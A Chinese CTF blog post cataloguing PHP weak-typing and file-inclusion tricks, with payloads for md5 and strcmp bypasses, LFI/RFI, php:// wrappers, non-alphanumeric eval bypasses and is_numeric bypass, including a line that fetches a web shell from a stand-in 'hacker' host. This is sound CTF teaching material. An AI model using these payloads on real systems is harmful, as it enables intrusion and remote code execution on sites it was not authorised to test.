Twosmi1e's Blog.

CTF中的常见PHP漏洞

Word count: 2,860 / Reading time: 12 min
2018/11/07 Share

文章首发于先知社区,转载请注明来源。

在做ctf题的时候经常会遇到一些PHP代码审计的题目,这里将我遇到过的常见漏洞做一个小结。

md5()漏洞

  PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。
常见的payload有

1
2
3
4
5
6
7
8
9
10
11
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
sha1(str)
sha1('aaroZmOk')
sha1('aaK1STfY')
sha1('aaO8zKZF')
sha1('aa3OFF9m')

  同时MD5不能处理数组,若有以下判断则可用数组绕过

1
2
3
4
5
if(@md5($_GET['a']) == @md5($_GET['b']))
{
echo "yes";
}
//http://127.0.0.1/1.php?a[]=1&b[]=2

判断代码:

1
if($v1 != $v2 && md5($v1) == md5($v2))//D0g3某道题

strcmp()漏洞

1
int strcmp(string $str1, string $str2)

  参数 str1第一个字符串。str2第二个字符串。如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。
当这个函数接受到了不符合的类型,这个函数将发生错误,但是在5.3之前的php中,显示了报错的警告信息后,将return 0 !!!! 也就是虽然报了错,但却判定其相等了。这对于使用这个函数来做选择语句中的判断的代码来说简直是一个致命的漏洞,当然,php官方在后面的版本中修复了这个漏洞,使得报错的时候函数不返回任何值。

1
2
3
4
5
6
7
8
<?php
$password=$_GET['password'];
if (strcmp('*****',$password)) {
echo 'NO!';
} else{
echo 'YES!';
}
?>

  对于这段代码,我们能用什么办法绕过验证呢, 只要我们\$_POST[‘password’]是一个数组或者一个object即可,但是上一个问题的时候说到过,只能上传字符串类型,那我们又该如何做呢。
其实php为了可以上传一个数组,会把结尾带一对中括号的变量,例如 xxx[]的name(就是$_POST中的key),当作一个名字为xxx的数组构造类似如下的request

1
2
3
4
5
6
7
8
9
10
11
POST /login HTTP/1.1
Host: xxx.com
Content-Length: 41
Accept: application/json, text/javascript
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.59 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Connection: close

password[]=admin

文件包含漏洞

1
2
3
4
include()
require()
include_once()
require_once()

这四个函数会将包含的文件作为php文件解析

_once表示同名文件只引入一次,include在引入不存文件时产生一个警告且脚本还会继续执行,require则会导致一个致命性错误且脚本停止执行。
include()是有条件包含函数,而 require()则是无条件包含函数
include有返回值,而require没有
理论上来说:include和require后面加不加括号对执行结果没有区别,但是加上括号效率较低,所以后面能不加括号就不加括号。

可利用的文件包含漏洞条件:
1.include()等函数通过动态变量方式引入需要包含的文件
2.用户可控制该动态变量

本地文件包含(LFI)

1
2
3
4
<?php
$file = $_GET['file'];
include $file;
?>

若在同目录下有phpinfo.txt

phpinfo; ?>``` 则访问:
1
2
```
index.php?file=phpinfo.txt

即可解析文件内容
PHP内核是由C语言实现的,在连接字符串时,0字节(\x00)将作为字符串结束符。所以可用%00截断

远程文件包含(RFI)

  1. allow_url_fopen = On
  2. allow_url_include = On 默认为off
    需要php.ini中两个配置均为ON
1
2
3
4
5
6
7
<?php
if($route == "share"){
require_once $basePath . '/action/m_share.php';
}elseif($route == "sharelink"){
require_once $basePath . '/action/m_sharelink.php';
}
?>

构造url
/?param=http://attacker/phpshell.txt?
可将远程的shell解析执行,最后一个问号可以起到截断的作用。

利用技巧

利用用户上传文件

如果有上传点或者允许用户上传文件可以利用,不过比较难找到文件目录。

php伪协议

php://input

allow_url_include = on
payload:

1
2
3
1 index.php?file=php://input
2 POST:
3 <? phpinfo(); ?>


php://filter

可以读取本地文件
index.php?file=php://filter/read=convert.base64-encode/resource=index.php
指定末尾文件,可以读到base64编码后的文件内容,ctf中常有题目可读文件源码。

php://phar

PHP归档,解压缩协议
上传包含任何格式文件shell的压缩包,再用phar协议解析

  • 指定相对路径

index.php?file=phar://shell.zip/phpinfo.txt

  • 指定绝对路径

index.php?file=phar://D:/index/www/fileinclude/shell.zip/phpinfo.txt

data:

条件:

  1. allow_url_fopen = On
  2. allow_url_include = On

index.php?file=data:text/plain,<?php phpinfo(); ?>%00
index.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

包含日志文件

先通过读取httpd的配置文件httpd.conf,找日志文件所在目录
常见日志文件位置:
1.../etc/httpd/conf/httpd.conf

  1. /usr/local/apache/conf/http.conf
    3.../apache/logs/error.log

Metasploit有脚本完成自动化攻击

包含Session

要求攻击者能控制部分Session的内容
常见的php-session存放位置:

  1. /var/lib/php/sess_PHPSESSID
  2. /var/lib/php/sess_PHPSESSID
  3. /tmp/sess_PHPSESSID
  4. /tmp/sessions/sess_PHPSESSID

包含/proc/self/environ 文件

index.php?page=../../../../../proc/self/environ
可以看到Web进程运行时的环境变量,其中用户可以控制部分,比如对User-Agent注入

1
2
3
<?php
system('wget http://hacker/Shells/phpshell.txt -O shell.php');
?>

包含上传的临时文件

包含其他应用创建的文件

如数据库文件,缓存文件

绕过姿势

  1. %00截断
    magic_quotes_gpc = off
    PHP < 5.3.4
  2. 字节长度截断:最大值Windows下256字节,Linux下4096字节

  3. %00截断目录遍历
    /var/www/%00
    magic_quotes_gpc = off

  4. 编码绕过
    %2e%2e%2f ../
    ..%c0%af ../
    %2e%2e%5c ..\

    防御方案

  5. 在很多场景中都需要去包含web目录之外的文件,如果php配置了open_basedir,则会包含失败
  6. 做好文件的权限管理
  7. 对危险字符进行过滤等

变量覆盖漏洞

全局变量覆盖

条件:register_globals = ON 4.2.0后默认关闭 5.4.0后已移除
例bugku某题

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php  

error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){
die("args error!");
}
eval("var_dump($$args);");
}
?>

payload:http://120.24.86.145:8004/index1.php?args=GLOBALS
因为有eval(“var_dump($$args);”); 直接用全局变量打印所有字符串即可得到flag

strpos()的小坑

函数介绍

实例

查找”touch”在字符串中第一次出现的位置:

1
2
3
<?php
echo strpos("love is a touch and yet not a touch", "touch")
?>

定义和用法

strpos() 函数查找字符串在另一字符串中第一次出现的位置。
strpos() 函数对大小写敏感。
该函数是二进制安全的。
strpos(string, find, start) stringfind 必需,start 可选,规定在何处开始搜索。

相关函数

  • stripos() - 查找字符串在另一字符串中第一次出现的位置(不区分大小写)
  • strripos() - 查找字符串在另一字符串中最后一次出现的位置(不区分大小写)
  • strrpos() - 查找字符串在另一字符串中最后一次出现的位置(区分大小写)

判断的时候是不能用 != false来判断的,因为当查找的字符串位置为0 时也会判断成功

1
2
3
4
5
6
7
8
9
10
<?php 
$a = "stark";
$b = "s";
$c = "k";

var_dump(strpos($a, $b));
var_dump(strpos($a, $c));
var_dump(strpos($a, $b) != false);
var_dump(strpos($a, $b) !== false);
?>

返回结果:
Alt text

PHP的一个小特性

乌云链接:https://wooyun.shuimugan.com/bug/view?bug_no=64792
当代码中存在\$_REQUEST[‘user_id’]里面类似的参数的时候,我们在url上可以这样a.php?user.id传参去进行绕过,这样进去之后也能表示$_REQUEST[‘user_id’]的值,同样可以绕过的符号还有+,[ 等,应该说是php的一个小特性

安恒月赛 奇怪的恐龙特性

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 <?php
highlight_file(__FILE__);
ini_set("display_error", false);
error_reporting(0);
$str = isset($_GET['A_A'])?$_GET['A_A']:'A_A';
if (strpos($_SERVER['QUERY_STRING'], "A_A") !==false) {
echo 'A_A,have fun';
}
elseif ($str<9999999999) {
echo 'A_A,too small';
}
elseif ((string)$str>0) {
echo 'A_A,too big';
}
else{
echo file_get_contents('flag.php');

}
?>

阅读代码发现,首先第一步要绕过A_A这个符号,如果出现这个符号他就会显示A_A,have fun,就不能继续往下面执行到file_get_contents(‘flag.php’)了,但是我们发送get参数的时候又必须要发送,因此我们就用到刚才的知识点,我们可以用A.A或者是A+A去传参去绕过。
下面的代码就是常规的数字绕过了,但这里也用到了一个trick,就是无论你的数字多大,对于数组而言总是比数组小。

利用数组去绕过$str<9999999999的特性,下面一个判断是强制转化为字符串在与数字比较的判断,这就是平常操作很多的弱类型了,直接让参数等于admin就可以了,因为“admin”== 0 ,结果是true,直接等于0绕过即可,所以这题的payload
http://101.71.29.5:10007/?A+A[]=admin

极限利用

安恒九月赛 babybypass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
 <?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>

根据代码要求:

1. 长度不能大于35
2. 不能包含大小写字母,数字,下划线和$符号

在linux系统中,是支持正则的,某些你忘记某个字符情况下,你可以使用? * %等字符来替代,当然这里想要执行命令,需要极限的利用这个方法,经过测试:
???/??? => /bin/cat
PHP开启短标签即short_open_tag=on时,可以使用<?=$_?>输出变量
于是读源码:

1
2
$_=`/???/???%20/???/???/????/?????.???`;?><?=$_?>
"/bin/cat /var/www/html/index.php"

长度超出上限,使用通配:
$_=`/???/???%20/???/???/????/
;?><?=$_?>`
正则过滤了$和_,改进为:
?><?=`/???/???%20/???/???/????/*`?>
可以读到:
Alt text

1
2
3
4
function getFlag(){
$flag = file_get_contents('/flag');
echo $flag;
}

直接读flag文件
?><?='/???/???%20/????';?>

另外类似的一道题

道格bypass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
include("flag.php");
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>50){
die("Too Long.");
}
if(preg_match("/[A-Za-z0-9_]+/",$code)){
die("Not Allowed.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";

相关文章:
https://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

1
$¥="`{{{"^"?<>/" // _GET

利用${}中的代码会被执行的特点

1
${$¥}[¥](${$¥}[¥¥]);

传参
&¥=Flag
最终payload:

1
?code=$¥="`{{{"^"?<>/";${$¥}[¥](${$¥}[¥¥]);&¥=Flag

is_numeric绕过

极客大挑战

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
if (isset($_GET['p1'])){

if ($_GET['p1'] > 99999999 && strlen($_GET['p1']) < 9){
echo "111";

if (isset ( $_GET ['p2'] )) {
$p2 = $_GET ['p2'];
if (is_numeric($p2)){
die('Input cannot be a number!!!');
}
else{
switch ($p2) {
case 0 :
break;
case 1 :
break;
case 2 :
echo "flag{xxxxx}";
break;
default :
echo "2333333";
break;
}
}
}
}
}
?>

第一个常见的>999999999,用指数1e9即可绕过

1
echo 1e9; //1000000000

第二个函数is_numeric()判断是否为数字,因为PHP的弱类型,将数字后面加上空格或者任意一个字符即可绕过。

1
2
3
4
5
6
7
8
9
<?php
$a = '1';
$b = '1a';
$c = '1 ';

var_dump(is_numeric($a));//true
var_dump(is_numeric($b));//false
var_dump(is_numeric($c));//false
?>

最终payload:
?p1=1e9&p2=2%20

CATALOG
  1. 1. md5()漏洞
  2. 2. strcmp()漏洞
  3. 3. 文件包含漏洞
    1. 3.1. 本地文件包含(LFI)
    2. 3.2. 远程文件包含(RFI)
    3. 3.3. 利用技巧
      1. 3.3.1. 利用用户上传文件
      2. 3.3.2. php伪协议
        1. 3.3.2.1. php://input
        2. 3.3.2.2. php://filter
        3. 3.3.2.3. php://phar
        4. 3.3.2.4. data:
      3. 3.3.3. 包含日志文件
      4. 3.3.4. 包含Session
      5. 3.3.5. 包含/proc/self/environ 文件
      6. 3.3.6. 包含上传的临时文件
      7. 3.3.7. 包含其他应用创建的文件
    4. 3.4. 绕过姿势
    5. 3.5. 防御方案
  4. 4. 变量覆盖漏洞
    1. 4.1. 全局变量覆盖
  5. 5. strpos()的小坑
    1. 5.1. 函数介绍
      1. 5.1.1. 实例
      2. 5.1.2. 定义和用法
      3. 5.1.3. 相关函数
    2. 5.2.
  6. 6. PHP的一个小特性
  7. 7. 极限利用
  8. 8. is_numeric绕过